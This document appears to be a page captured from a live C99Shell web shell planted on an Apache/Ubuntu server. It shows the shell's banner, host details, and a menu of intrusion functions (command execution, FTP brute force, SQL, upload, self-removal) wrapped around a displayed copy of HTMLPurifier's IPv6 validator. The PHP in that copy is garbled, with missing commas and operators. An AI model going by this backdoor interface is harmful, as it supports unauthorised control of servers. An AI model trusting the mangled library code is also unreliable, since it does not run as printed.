!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/   drwxr-xr-x
Free 13.04 GB of 57.97 GB (22.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     IPv6.php (2.42 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Validates an IPv6 address.
 * @author Feyd @ forums.devnetwork.net (public domain)
 * @note This function requires brackets to have been removed from address
 *       in URI.
 */
class HTMLPurifier_AttrDef_URI_IPv6 extends HTMLPurifier_AttrDef_URI_IPv4
{

    
/**
     * @param string $aIP
     * @param HTMLPurifier_Config $config
     * @param HTMLPurifier_Context $context
     * @return bool|string
     */
    
public function validate($aIP$config$context)
    {
        if (!
$this->ip4) {
            
$this->_loadRegex();
        }

        
$original $aIP;

        
$hex '[0-9a-fA-F]';
        
$blk '(?:' $hex '{1,4})';
        
$pre '(?:/(?:12[0-8]|1[0-1][0-9]|[1-9][0-9]|[0-9]))'// /0 - /128

        //      prefix check
        
if (strpos($aIP'/') !== false) {
            if (
preg_match('#' $pre '$#s'$aIP$find)) {
                
$aIP substr($aIP0strlen($find[0]));
                unset(
$find);
            } else {
                return 
false;
            }
        }

        
//      IPv4-compatiblity check
        
if (preg_match('#(?<=:' ')' $this->ip4 '$#s'$aIP$find)) {
            
$aIP substr($aIP0strlen($find[0]));
            
$ip explode('.'$find[0]);
            
$ip array_map('dechex'$ip);
            
$aIP .= $ip[0] . $ip[1] . ':' $ip[2] . $ip[3];
            unset(
$find$ip);
        }

        
//      compression check
        
$aIP explode('::'$aIP);
        
$c count($aIP);
        if (
$c 2) {
            return 
false;
        } elseif (
$c == 2) {
            list(
$first$second) = $aIP;
            
$first explode(':'$first);
            
$second explode(':'$second);

            if (
count($first) + count($second) > 8) {
                return 
false;
            }

            while (
count($first) < 8) {
                
array_push($first'0');
            }

            
array_splice($firstcount($second), 8$second);
            
$aIP $first;
            unset(
$first$second);
        } else {
            
$aIP explode(':'$aIP[0]);
        }
        
$c count($aIP);

        if (
$c != 8) {
            return 
false;
        }

        
//      All the pieces should be 16-bit hex strings. Are they?
        
foreach ($aIP as $piece) {
            if (!
preg_match('#^[0-9a-fA-F]{4}$#s'sprintf('%04s'$piece))) {
                return 
false;
            }
        }
        return 
$original;
    }
}

// vim: et sw=4 sts=4

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0081 ]--